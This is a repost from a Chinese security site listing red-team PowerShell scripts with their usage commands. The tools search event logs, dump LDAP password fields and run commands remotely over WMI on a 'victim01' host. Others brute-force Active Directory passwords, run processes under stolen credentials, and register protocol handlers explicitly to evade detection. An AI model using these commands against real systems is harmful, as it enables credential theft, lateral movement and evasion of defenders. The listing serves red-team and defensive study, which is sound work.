Red Team 常用 Powershell 脚本

admin 2022年5月12日23:42:07评论36 views字数 3169阅读10分33秒阅读模式

Red Team 常用 Powershell 脚本


各种常用PowerShell脚本:


Search-EventForUser.ps1:在 Windows 事件日志中搜索特定用户的 Powershell 脚本Search-FullNameToSamAccount.ps1SamAccountName 的全名Search-UserPassword.ps1:在 LDAP 中搜索 userPassword 字段Remote-WmiExecute.ps1:使用 WMI 远程执行命令Take-Screenshot.ps1:截图(PNGGet-BrowserHomepage.ps1:获取浏览器主页Get-IEBookmarks.ps1:列出所有 Internet Explorer 书签 URLInvoke-ADPasswordBruteForce.ps1:测试用户密码Utility.ps1:包含几个 cmdletRun-As.ps1:以另一个用户身份运行进程(凭据)Get-ProcessList.ps1:列出进程、所有者和命令行参数Remote-RegisterProtocolHandler.ps1:使用协议处理程序运行您的命令以绕过某些检测Add-UserLogonScript:为特定用户添加登录脚本


Search-EventForUser.ps1 用法

module-import .Search-EventForUser.ps1; Search-EventForUser -TargetUser "MrUn1k0d3r"
module-import .Search-EventForUser.ps1; "MrUn1k0d3r" | Search-EventForUser
module-import .Search-EventForUser.ps1; Search-EventForUser -TargetUser MrUn1k0d3r -ComputerName DC01
module-import .Search-EventForUser.ps1; Search-EventForUser -TargetUser MrUn1k0d3r -FindDC true
module-import .Search-EventForUser.ps1; "god", "mom" | Search-EventForUser -FindDC true
module-import .Search-EventForUser.ps1; "god", "mom" | Search-EventForUser -FindDC true -Username DOMAINadmin -Password "123456"


Search-FullNameToSamAccount.ps1 用法

module-import .Search-FullNameToSamAccount.ps1; Search-FullNameToSamAccount -Filter *god*
module-import .Search-FullNameToSamAccount.ps1; "god", "mom" | Search-FullNameToSamAccount

Search-UserPassword.ps1 用法

module-import .Search-UserPassword.ps1; Search-UserPassword -Username *god*
module-import .Search-UserPassword.ps1; "god", "mom" | Search-UserPassword

Remote-WmiExecute.ps1 用法

module-import .Remote-WmiExecute.ps1; Remote-WmiExecute -ComputerName victim01 -Payload "cmd.exe /c whoami"

Take-Screenshot.ps1 用法

module-import .Take-Screenshot.ps1; Take-Screenshot -Path C:test.png

Get-BrowserHomepage.ps1 用法

module-import .Get-BrowserHomepage.ps1; Get-BrowserHomepage

Get-IEBookmarks.ps1 用法 

module-import .Get-IEBookmarks.ps1; Get-IEBookmarks

Invoke-ADPasswordBruteForce.ps1 用法

module-import .Invoke-ADPasswordBruteForce; Invoke-ADPasswordBruteForce -Username "mr.un1k0d3r" -Password "password"
module-import .Invoke-ADPasswordBruteForce; "neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password"
module-import .Invoke-ADPasswordBruteForce; "neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password" -Domain MATRIX


Utility.ps1用法

Search-EventForUserSearch-EventForUserByDomainSearch-EventForUserByIPSearch-FullNameToSamAccountLdap-GetPropertySearch-UserPasswordDump-UserEmailDump-ComputersDump-UserName


Run-As.ps1 用法

module-import .Run-As.ps1; Run-As -Username RingZer0Mr.Un1k0d3r -Password "IShouldNotLeakThisPasswordOnTheInternet" -Process "C:Evil.exe"

COM-Utility.ps1用法

Invoke-COM-ScheduleServiceInvoke-COM-XMLHTTPInvoke-COM-ShellBrowserWindowInvoke-COM-WindowsScriptHostInvoke-COM-ProcessChain Invoke-COM-ShellApplication

Get-ProcessList.ps1 用法

module-import .Get-ProcessList.ps1; Get-ProcessList


Remote-RegisterProtocolHandler.ps1 用法

此 cmdlet 创建将调用您的有效负载的协议处理程序。这个想法是为了避免检测,因为将执行的命令如下所示:explorer ms-browse://

您注册的自定义处理程序在哪里 ms-browser 并将执行您的命令


module-import .Remote-RegisterProtocolHandler.ps1; Remote-RegisterProtocolHandler -ComputerName host -Payload "command to run"module-import .Remote-RegisterProtocolHandler.ps1; Remote-RegisterProtocolHandler -ComputerName host -Payload "command to run" -Handler ms-handler-name



原文始发于微信公众号(Khan安全攻防实验室):Red Team 常用 Powershell 脚本

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月12日23:42:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Red Team 常用 Powershell 脚本https://cn-sec.com/archives/997712.html

发表评论

匿名网友 填写信息